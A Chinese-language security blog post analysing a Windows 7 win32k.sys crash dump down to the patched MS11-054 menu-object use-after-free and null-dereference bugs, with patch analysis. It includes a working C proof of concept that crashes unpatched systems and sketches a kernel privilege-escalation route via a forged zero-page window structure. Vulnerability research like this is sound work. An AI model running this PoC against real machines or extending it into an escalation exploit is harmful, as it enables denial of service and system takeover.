1.引言
近日有同事反馈给笔者一个win32k的蓝屏崩溃dump,说是在开发新的界面程序中遇到的。
笔者在对拿到的Minidump进行分析后,发现这是win32k.sys在处理内核的menu窗口对象中的Use-After-Free/Null-Pointer-Dereference漏洞引发的。
笔者进行进一步分析后发现,这实际是一系列2011年已经修补的win32k漏洞, 微软公告编号为MS11-054,涉及8个CVE(CVE-2011-1878~CVE-2011-1885),都是由当时在挪威安全公司Norman的内核漏洞达人Tarjei Mandt(@kernelpool)报告的,相关的细节未被公开过。
虽然这些都是一年多以前已经修补的漏洞,但细节从未公开过,从了解内核安全问题和win32k内部机制的目的出发,笔者还是决定将此成文,由dump分析入手,到漏洞原理剖析,再到漏洞的重现利用手法,最后到分析漏洞的影响函数、修补方式等,完整重现“由dump到POC”的全过程。
2.Dump分析
首先我们打开崩溃的dump,windbg分析可知发生的Bugcheck是:KERNEL_MODE_EXCEPTION_NOT_HANDLED_M(未处理的内核异常)
而异常代码是STATUS_ACCESS_VIOLATION(访问违例),出故障的地方位于win32k!xxxDestoryWindow+0×32,原因是访问了空指针,异常堆栈如下:
02 | ChildEBP RetAddr Args to Child |
03 | 90a0fb78 95768a5c 00000000 9584e480 fe320168 win32k!xxxDestroyWindow+0x32 |
04 | 90a0fbb8 95768d13 00000001 00000000 00000000 win32k!xxxMNCancel+0x121 |
05 | 90a0fbd0 95769de6 9584e480 fe52fdd8 9584e480 win32k!xxxMNDismiss+0x12 |
06 | 90a0fbf0 9575fb93 9584e480 fe320168 9584e480 win32k!xxxEndMenuLoop+0x23 |
07 | 90a0fc38 9576f71b fe320168 9584e480 00000000 win32k!xxxMNLoop+0x3f5 |
08 | 90a0fca0 957658a5 00000088 00004040 000004e8 win32k!xxxTrackPopupMenuEx+0x5cd |
09 | 90a0fd14 83c5f42a 00020225 00004040 000004e8 win32k!NtUserTrackPopupMenuEx+0xc3 |
10 | 90a0fd14 778b64f4 00020225 00004040 000004e8 nt!KiFastCallEntry+0x12a |
从堆栈上可以看出是由NtUserTrackPopupMenuEx这个NT服务引发的问题,在调入封装的win32k xxxTrackPopupMenuEx函数后,进入xxxMNLoop->xxxEndMenuLoop->xxxMNDismiss->xxxMNCancel,最终进入了 问题现场函数xxxDestoryWindow,这个函数顾名思义,是win32k销毁内核窗口对象的内部功能函数。
xxxDestoryWindow的故障发生在刚刚进入函数的地方,原因很容易定位,我们来看xxxDestoryWindow的故障代码:
01 | kd> u xxxDestroyWindow xxxDestroyWindow+34 |
02 | win32k!xxxDestroyWindow: |
03 | 956d0915 8bff mov edi,edi |
05 | 956d0918 8bec mov ebp,esp |
06 | 956d091a 83ec34 sub esp,34h |
08 | 956d091e 8b1d58da8495 mov ebx,dword ptr [win32k!gptiCurrent (9584da58)] |
09 | 956d0924 8b83b4000000 mov eax,dword ptr [ebx+0B4h] |
11 | 956d092b 8b7508 mov esi,dword ptr [ebp+8] //set esi |
12 | 956d092e 8945f0 mov dword ptr [ebp-10h],eax |
14 | 956d0932 8d45f0 lea eax,[ebp-10h] |
15 | 956d0935 33ff xor edi,edi |
16 | 956d0937 8983b4000000 mov dword ptr [ebx+0B4h],eax |
17 | 956d093d 8975f4 mov dword ptr [ebp-0Ch],esi |
18 | 956d0940 3bf7 cmp esi,edi |
19 | 956d0942 7403 je win32k!xxxDestroyWindow+0x32 (956d0947) |
20 | 956d0944 ff4604 inc dword ptr [esi+4] |
21 | 956d0947 8b16 mov edx,dword ptr [esi] //esi = 0x00000000 |
代码中最后一行即是发生空指针引用的地方,esi = 0×00000000,esi的来源也一目了然,它是来自xxxDestoryWindow的第一个参数,即要被销毁的窗口pwnd指针。
这么看,xxxDestoryWindow不是责任函数,那么应该是xxxMNCancel传入了空的pwnd指针导致的,我们再来看xxxMNCancel的实现,首先看看xxxMNCancel调用xxxDestoryWindow的附近代码:
1 | kd> ub xxxMNCancel+121 L5 |
2 | win32k!xxxMNCancel+0x10f: |
3 | 95768a4a ff7608 push dword ptr [esi+8] |
5 | 95768a4f e8e962faff call win32k!xxxWindowEvent (9570ed3d) |
6 | 95768a54 ff7608 push dword ptr [esi+8] |
7 | 95768a57 e8b97ef6ff call win32k!xxxDestroyWindow (956d0915) |
可以看到,xxxDestoryWindow的参数来自 dword ptr[esi + 8],继续看下面的代码可知,esi来自xxxMNCancel的第一个参数,结构为tagPOPUPWND,这样我们可知被销毁的窗口对象指针来自tagPOPUPWND->spwndPopupMenu
03 | 9576893b 8bff mov edi,edi |
05 | 9576893e 8bec mov ebp,esp |
06 | 95768940 83ec28 sub esp,28h |
10 | 95768946 8b7d08 mov edi,dword ptr [ebp+8] |
11 | 95768949 8b37 mov esi,dword ptr [edi] |
12 | 9576894b 8b06 mov eax,dword ptr [esi] |
3.原理分析
分析相关的代码可知,spwndPopupMenu实际上是在PopupMenu对象中的指向其属于的Menu窗口对象的指针。为了理解为何这里会遇到空的Menu对象指针,我们首先研究下Menu/PopupMenu对象之间的关系和形成机理。
通过研究win32k的内部机制可知,在win32k中,不同类型的窗口对象的扩展数据(WndExtra)是附加在标准窗口对象结构后面的,而对于Menu窗口对象(tagMENUWND结构),附加在其后的是指向其PopupMenu对象的 指针(PPOPUPMENU,即tagPOPUPMENU结构),而我们这里遇到的spwndPopupMenu就是在tagPOPUPMENU结构中,指回其所属的Menu窗口对象的指针
1 | 0: kd> dt tagPOPUPMENU -d spwndPopupMenu |
3 | +0x008 spwndPopupMenu : Ptr32 tagWND |
对于Menu窗口对象,分配tagPOPUPMENU并填充到tagMENUWND的工作,是在xxxMenuWindowProc这个函数内,响应窗口创建时产生的WM_NCCREATE消息时完成的。
对于内核默认的窗口对象,系统会为其指定专门的内核窗口消息处理函数来实现特定的功能,而xxxMenuWindowProc就是专为响应Menu窗口对象的窗口消息的函数,当ring3代码调用SendMessage- >NtUserMessageCall发送消息给Menu窗口,或者ring0调用xxxSendMessage发送消息给Menu窗口时,都会通过FNID函数封装后最终调用到这些内核处理函数。这个函数对于内核对Menu窗口对象的管理来说非常重要 ,后面我们还会说到它。
通过IDA反汇编xxxMenuWindowProc函数中对WM_NCCREATE消息的处理过程我们可以看到这一点:
01 | ProcWM_NCCREATE: ; CODE XREF: xxxMenuWindowProc(x,x,x,x)+179j |
03 | cmp dword ptr [edi+(size tagWND)], 0 |
06 | call _MNAllocPopup@4 ; MNAllocPopup(x) |
09 | mov [edi+(size tagWND)], eax |
10 | or [eax+tagPOPUPMENU.posSelectedItem], 0FFFFFFFFh |
11 | lea ecx, [eax+tagPOPUPMENU.spwndPopupMenu] |
13 | call @HMAssignmentLock@8 ; HMAssignmentLock(x,x) |
从代码上我们可以看到(edi为窗口对象指针),处理例程首先判断tagWND附加数据(edi + 标准窗口结构长度)的pPopupMenu对象指针是否为空,如果为空,那么就是用MNAllocPopup为Menu窗口对象创建 pPopupMenu结构的内存空间(实际就是在Session内存池内分配内存并初始化结构),并将分配出来的pPopupMenu指针写入Menu窗口对象的附加数据中。
接着,再使用HMAssignmentLock,带锁地将tagPOPUPMENU.spwndPopupMenu赋值为edi,即其从属的Menu窗口对象的指针。
我们再回头来看触发这个问题的函数:xxxTrackPopupMenuEx的工作原理,熟悉界面编程的朋友都知道这是用于弹出一个Popup Menu的函数,那么在内核中它是如何工作的呢,这里笔者简单列出一下大概的工作的流程 :
(1). 创建Menu窗口对象: 根据HMENU等相关参数,创建最终弹出和展示的Menu窗口(通过xxxCreateWindowEx)
(2). 分配和初始化当前线程的MenuState结构(xxxMNAllocMenuState)
(3). 计算和设定Menu窗口的相关位置、属性等(通过FindBestPos/xxxSetWindowPos等)
(4). 进入菜单循环,展示Menu并进入等待菜单选择的循环(xxxMNLoop),在进入循环前,会通过xxxWindowEvent来“播放”一个EVENT_SYSTEM_MENUPOPUPSTART的窗口事件,这个细节会在后面用到
(5). 菜单被选择或取消,退出循环并销毁PopupMenu、Menu窗口对象和MenuState结构(xxxxxEndMenuLoop、xxxMNEndMenuState等)
在dump中,我们看到出问题的地方就在xxxMNLoop的过程中,当菜单选择被取消,xxxMNLoop会试图退出循环,调用xxxMNDismiss->xxxMNCancel来取消窗口的展现,而其中一个操作就是调用xxxDestoryWindow, 来销毁pPopupMenu->spwndPopupMenu即Menu主窗口,而故障的原因就是这个指针已经被销毁并置Null了,由于销毁的代码并没有判断是否已经销毁而直接使用了指针,因此引发了崩溃。
因此,这个漏洞的本质就在于,相关的调用函数(本例中xxxTrackPopupMenuEx)没有检查对应的popup menu结构是否已经被销毁或指针被清空了,仍然继续使用,同时在销毁和使用的代码之间(xxxMenuWindowProc与 xxxTrackPopupMenuEx及其子函数),缺少有效的锁机制,导致了Use-After-Free或Null-Pointer-Dereference问题的发生。
4.重现POC
故障的基本原因清楚了,但还有一个问题是,如何Popup窗口循环结束前,让其保存的指针会被销毁呢?
当然,仅仅通过dump我们已经无法明确究竟在这个Dump的场景之下,之前是哪个逻辑调用了销毁窗口对象的功能,但通过分析Menu相关的实现代码可知,销毁的可能场景有很多,而其中最常见的也最容易触发的,就是 前面将到的xxxMenuWindowProc例程中,我们看看这个例程接受MN_ENDMENU这个消息的代码:
01 | ProcMN_ENDMENU: ; CODE XREF: xxxMenuWindowProc(x,x,x,x)+A1Bj |
03 | ; xxxMenuWindowProc(x,x,x,x)+A6Fj |
06 | push [esi+tagMENUSTATE.pGlobalPopupMenu] ; jumptable BF93ED60 case 499 |
08 | call _xxxEndMenuLoop@8 ; xxxEndMenuLoop(x,x) |
09 | test dword ptr [esi+tagMENUSTATE._bf4], MENU_STATE_MODLE_LESS |
12 | call _xxxMNEndMenuState@4 ; xxxMNEndMenuState(x) |
从代码上可以看出,当该例程接受一个MN_ENDMENU消息时,且menu状态是model less的(通过menu state来判断),xxxMenuWindowProc就会调用xxxMNEndMenuState销毁线程的MenuState,同时也销毁和清 空当前线程popup menu相关的spwndPopupMenu对象。
也就是说,只要在TrackPopupMenuEx的流程 (2) 之后,流程(4)结束之前,发送MN_ENDMENU消息给Menu窗口对象,就可以触发这个问题。
了解了整个逻辑触发的原理,接下来笔者就开始尝试构造代码,在ring3重现这个问题。
刚才已经提到,重现这个的关键点,也是难点在于,如何控制在流程2到流程4之间发送销毁消息。对于ring3程序来说,流程(1)~(5)都是在TrackPopupMenuEx这一个API的调用过程中发生完的。
另外一个难点是,我们要发送消息的Menu窗口对象是内部创建的,在TrackPopupMenu完成后就销毁了,并未输出出来供我们使用。
对于难点1,如何克服?通过多线程竞争条件实现么?存在成功率问题。对于难点2呢?通过在ring3分析win32k 共享内存中的全部窗口对象来实现?麻烦,又不通用。
思考了一段时间,笔者注意到了在流程(4) 中提到的那个WindowEvent的“播放”,我们看看xxxTrackPopupMenu进入xxxMNLoop之前,附近的代码实现:
04 | push [ebp+pwndHierarchy] |
05 | push EVENT_SYSTEM_MENUPOPUPSTART |
06 | call _xxxWindowEvent@20 ; xxxWindowEvent(x,x,x,x,x) |
07 | mov eax, [edi+tagMENUSTATE._bf4] |
17 | call _xxxMNLoop@16 ; xxxMNLoop(x,x,x,x) |
可以清楚地看到,在进入xxxMNLoop之前,通过xxxWindowEvent播放了一个EVENT_SYSTEM_MENUPOPUPSTART事件,而参数中,就有我们需要的,Menu窗口对象的指针pwndHierarchy,由于IN CONTEXT的 Window Event是同步调用的,而注册针对本线程的IN CONTEXT Window Event Hook无须任何特权,因此我们这里就找到了一下解决两个难点的方法:
使用SetWindowEventHook,注册针对本线程的、EVENT_SYSTEM_MENUPOPUPSTART事件的Hook,并在hook例程里直接发送窗口销毁消息。
触发问题的另外一个小问题是,如何让MenuState标记为model less的风格,这点通过公开的API SetMenuInfo就可以做到了。
如上所说,所有的问题都解决了,那么写一个完整的程序实验一下吧:
笔者的测试系统环境:干净 Win7 X86,未补过KB2555917补丁(或在其后的针对win32k.sys的补丁),运行后即BSOD
测试代码如下(GUI程序):
01 | #define MN_ENDMENU 0x1F3 |
03 | VOID CALLBACK WinEventProc( HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime) |
05 | SendMessage(hwnd , MN_ENDMENU , 0 , 0 ); |
12 | HWND hwnd = GetForegroundWindow(); |
13 | HMENU hmenu = CreatePopupMenu(); |
18 | menuinfo.cbSize = sizeof (menuinfo); |
19 | menuinfo.fMask = MIM_STYLE ; |
20 | menuinfo.dwStyle = MNS_MODELESS; |
22 | SetMenuInfo(hmenu , &menuinfo); |
24 | item.cbSize = sizeof (item); |
25 | item.fMask = MIIM_STRING; |
26 | item.fType = MFT_STRING ; |
27 | item.dwTypeData = name; |
30 | InsertMenuItem(hmenu , 0 , FALSE , &item ); |
32 | SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART , |
33 | EVENT_SYSTEM_MENUPOPUPSTART , |
34 | GetModuleHandle(NULL) , |
36 | GetCurrentProcessId(), |
37 | GetCurrentThreadId() , |
40 | TrackPopupMenuEx(hmenu , 0 , 0x100 , 0x100 ,hwnd , NULL ); |
当然,这里笔者给出的POC仅仅构造的是引发内核访问空指针后引发内核拒绝服务,而在实际利用中,因为在xxxMNLoop中会调用xxxSendMessage发送消息给对应的pwnd窗口对象,我们可以通过分配零页内存,伪造可 进行攻击的pwnd结构来稳定地实现内核任意代码执行并进行权限提升,这里笔者就不公布具体的利用代码了。
5.更深入的分析
有了稳定的触发方法后,我们就更容易深入地分析这个漏洞了,通过分析可以发现,xxxTrackPopupMenuEx/xxxMenuWindowProc中相当多的子函数调用都会触发menu或popupmenu窗口对象的问题。
这里笔者简单列出一下之前的win32k.sys中存在同样或类似情况的函数及问题:
xxxTrackPopupMenuEx->xxxMNLoop…xxxMNCancel->xxxDestroyWindow(本文中蓝屏Dump发生的案例):Null Pointer Dereference
xxxMenuWindowProc(处理WM_SIZE或WM_MOVE消息的代码中):Null Pointer Dereference
xxxMNKeyFilter:Null Pointer Dereference
xxxMenuWindowProc->xxxMNDoubleClick(处理MN_DBLCLK消息的代码中):Use After Free
xxxMenuWindowProc->xxxMNButtonDown(处理MN_BUTTONDOWN消息的代码中):Use After Free
xxxMenuWindowProc->xxxMNDestroyHandler(处理WM_FINALDESTROY消息的代码中):Use After Free
xxxMenuWindowProc->xxxCallHandleMenuMessages:Use After Free xxxTrackPopupMenuEx->xxxMNEndMenuState:Use After Free
涉及的问题代码很多,因此在MS11-054中才会有这么多漏洞是属于这一个问题的。
最后,笔者想要探究是,微软在KB2555917中是如何修复这个问题的?解开这个补丁后分析升级的文件得知(分析目标是补丁版本的win32k.sys,win7 x86版本为6.1.7600.16830),微软增强了对于popup menu/MenuState对象的lock机制和延时释放机制,修正了空指针问题:
对xxxMenuWindowProc增加了一层封装,将过去的xxxMenuWindowProc函数封装成了xxxRealMenuWindowProc,在调用前后增加Locking/Unlocking处理,新的xxxMenuWindowProc部分伪代码如下:
2 | bIsLock = LockPopup(popupmenu); |
3 | ++pMenuState->dwLockCount; |
5 | xxxRealMenuWindowProc(( int )pwnd, msg, ( HDC )wparam, (LPRECT)lparam, ( int )pMenuState, fIsRecursedMenu); |
8 | UnlockPopup(popupmenu); |
同时为了支持Lock popup menu机制, 修改了tagPOPUPMENU结构,增加了flockDelayedFree标记,修改了tagTHREADINFO结构,增加了ppmlockFree链表。
在进入xxxRealMenuWindowProc前,会将PopupMenu加入到win32 thread info(当前GUI线程相关结构)的Lock Delay Free链表中,并将当前PopupMenu标记为DelayFree,在完成MenuWindowProc后才会Unlock PopupMenu,允许popup menu被释放。
在线程退出调用xxxDestoryThreadInfo时,则会释放tagTHREADINFO链表中的所有PopupMenu对象
同时针对MenuState对象也增加了lock机制,对tagMENUSTATE增加了fMarkDestroy标记,并将xxxUnlockMenuState修改为对xxxUnlockMenuStateInternal的封装,并在其中实现了对fMarkDestroy的识别和延迟释放 机制,防止Use-After-Free问题。
修正了若干xxxMNEndMenuState/xxxMNLoop等函数中空指针引用计数问题,解决Null Pointer Dereference问题。
http://blogs.360.cn/blog/dump-to-poc-to-win32k-kernel-privilege-escalation-vulnerability/